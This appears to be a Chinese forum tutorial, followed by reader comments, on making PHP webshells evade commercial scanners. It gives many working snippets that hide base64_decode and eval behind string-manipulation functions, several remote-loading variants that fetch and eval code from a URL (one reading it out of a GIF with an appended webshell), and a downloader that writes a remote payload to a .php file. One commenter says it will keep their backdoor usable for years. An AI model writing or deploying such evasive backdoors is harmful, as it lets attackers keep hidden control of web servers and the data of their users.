php大马检测绕过研究

前言


webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。又分大马和小马,大马就是功能比较多的,而小马更像一句话,本文介绍的是免杀PHP大马。
1

声明

  • 项目脚本仅供学习交流请勿用于非法用途。
  • 本文测试的免杀脚本,并不永久免杀,只要一入特征库,就凉了,更多的是思路。

WAF


测试用的WAF

WAF 下载
D盾_Web查杀 http://www.d99net.net/down/d_safe_2.1.4.4.zip
河马webshell查杀 http://dl.shellpub.com/hm-ui/latest/HmSetup.zip?version=1.5.0
深信服WebShellKillerTool 深信服EDR
网站安全狗网马查杀 http://download.safedog.cn/download/software/safedogwzApache.exe
OpenRASP WEBDIR+检测引擎 https://scanner.baidu.com



4

Test


首先,我们的思路是以这段代码开始:

<?php
$code = '大马源码base64加密';
eval(base64_decode($code));
?>

动图:

waf查杀:

分割函数:
我们把base64_decode大小写分割成多个变量,再合并,并赋值给其他变量。

<?php
$a = 'bAsE';
$b = '64_dEcODE';
$c = $a.$b;
$d = $c('code');
eval($d);

再用WAF查杀:
D盾_Web查杀

河马webshell查杀

深信服WebShellKillerTool

网站安全狗网马查杀

至此绕过以上4个WAF查杀,但是上面那个例子虽然成功绕过了,但是看起来很简单,所以在写一个。

首先我们来了解php中$$一个引用变量。

<?php
$a = 's9mf'; 
$b = $a;    
$c = "b";    
echo $$c;  

输出:
11

利用$$""双引号解释变量的特性,我们这样写

code1

<?php
$a = 'bAsE';
$b = '64_dEcODE';
$fuck = $a.$b;
$d = "fuck";
$e = $$d('code');  // base64_decode('code')
eval($e); 

这个payload也是绕过以上4个WAF查杀。

更多免杀payload


以下的code均可以绕过绕过安全狗、D盾和深信服的客户端Webshell查杀和河马正式版的查杀。

strrev()函数

  • strrev()函数反转字符串。
<?php
echo strrev("s9mf");

输出:
12
利用反转字符串的特性。

code2

<?php
$a = strrev('EdOcEd_46eSaB');  // base64_decode
$b= $a('code');
eval($b);

str_replace()函数

  • str_replace()函数替换字符串中的一些字符(区分大小写)
<?php
echo str_replace("ok","","emokmmokmokm"); 

输出:
13

code3

<?php
$c = str_replace("s9mf", "", "Bs9mfaSE6s9mf4_Decs9mfOdE"); // base64_decode
$a = $c('code');
eval($b=&$a); 
?>

ltrim()和trim()函数

  • ltrim() - 移除字符串左侧的空白字符或其他预定义字符
  • trim() - 移除字符串两侧的空白字符或其他预定义字符
<?php
echo ltrim('mmmNice','m')."<br/>";
echo trim('okiii','i');

输出:
14

依据这个特性。

code4

<?php
$a = ltrim('mmmbAsE64_D','m');
$b = trim('ecODeiii','i');
$base = $a.$b;
$c = $base('code');
eval($d=&$c);

缓解疲劳

17

implode()函数

  • implode() 函数返回由数组元素组合成的字符串。
<?php
$arr = array('ki',' me');
echo implode("ss",$arr);

输出:
15

code5

<?php
$arr = array('base','code');
$a = implode("64_de",$arr);
$b = $a('code');
$c = "\n";
eval($c.=$b);
?>

strtok()函数

  • strtok() 函数把字符串分割为更小的字符串。
<?php
$string = "//Hello//dd";
echo strtok($string, "/");  

输出:
16

code6

<?php
$string = "//base64_decode//FuuF";
$a = strtok($string, "/");  
$b = $a('code');
eval($d=&$b);

strtr()函数

  • strtr() 函数转换字符串中特定的字符。
<?php
echo strtr("pende keky","ek","ab");

输出:
18

code7

<?php
$a = strtr("bask64_mkcomk","km","ed");
$b = $a('code');
eval($d=&$b);

str_ireplace()函数

  • str_ireplace() 函数替换字符串中的一些字符(不区分大小写)。
<?php
echo str_ireplace("boy","girl","beautiful boy");

输出:

19

code8

<?php
$a = str_ireplace("uuuiii","4_decode","base6uuuiii");
$b = $a('code');
eval($d=&$b);

字符串 函数


通过上面很多例子不难看出很多都用到字符串函数,只要多找写生僻的字符串函数,我们可以很轻松的写出免杀的code。
更多更详细的字符串函数
20

编码/加密


除了base64加密外,PHP内置很多压缩编码函数:

gzcompress 
gzencode 
gzdeflate 
bzcompress
str_rot13

还有混淆加密平台:

远程读取


动图:

远程读取可以很有效的将大马的体积缩小,基本上和常见的一句话体积差不多,小于1KB就几百字节那样。

file_get_contents()和fopen()


  • file_get_contents() 函数把整个文件读入一个字符串中。
  • fopen() 函数打开一个文件或 URL。

一个例子

首先,我们可以选择最简单的file_get_contents来实现。

<?php  
eval(file_get_contents("http://localhost/test/Hi.txt"));
	//读取远程文本,并执行代码。

输出:
22

还得介绍个substr() 函数

  • substr() 函数返回字符串的一部分。
<?php
 // 输出3个字节后的全部,就是s9mf
echo substr("Hi!s9mf",3);

23

Gif/图片

如果我们加载一个txt的话,是可以执行代码,但是少了些逼格。

c32asm

用C32打开Gif/图片,然后将代码粘贴到图片底部,就可以不破坏Gif/图片本身。

直接划到图片代码底部

将大马代码粘贴到底部,然后保存。

remote

<?php
                                    //远程加载的gif             //293930是刚才记录的文件长度
eval(trim(substr(file_get_contents("http://localhost/test/k.gif"),293930)));

效果:

WAF

OpenRASP WEBDIR+检测引擎:

D盾_Web查杀

其他几个Waf也是查杀不出的,篇幅有限,就不演示了。

注意

下面开始的代码,只能用txt文字,不支持Gif/图片。

remote2

<?php
    $s9 = "687474703a2f2f6c6f63616c686f73742f746573742f6f6b6f6b2e747874";
    $m="s9";  //远程URL进行hex编码
    eval(file_get_contents(PACK('H*',$$m)));

remote3

<?php
$a = str_ireplace("fuck","et_contents","file_gfuck");
$c = "a";
$b= $$c('http://localhost/test/okok.txt');
eval($d=&$b);

远程下载


<?php
$a = 'http://www.xx.com/s9mf.txt';
$b = 'file'.'_g'.'et_'.'contents';
$b = $b($a);
$c = strrev('stnetnoc_tup_elif');
$c('s9mf.php', $b);
?>

最后

所以代码都会上传Github项目,感兴趣的朋友可以看看,持续更新。

1 个赞

这个不错,可以说很详细了。

有个Php文件 疑似后门 比较复杂 实在没看出怎么利用, 可否研究一下?

不错,看了这篇文章后,我的马改一下修修补补又可以用几年了。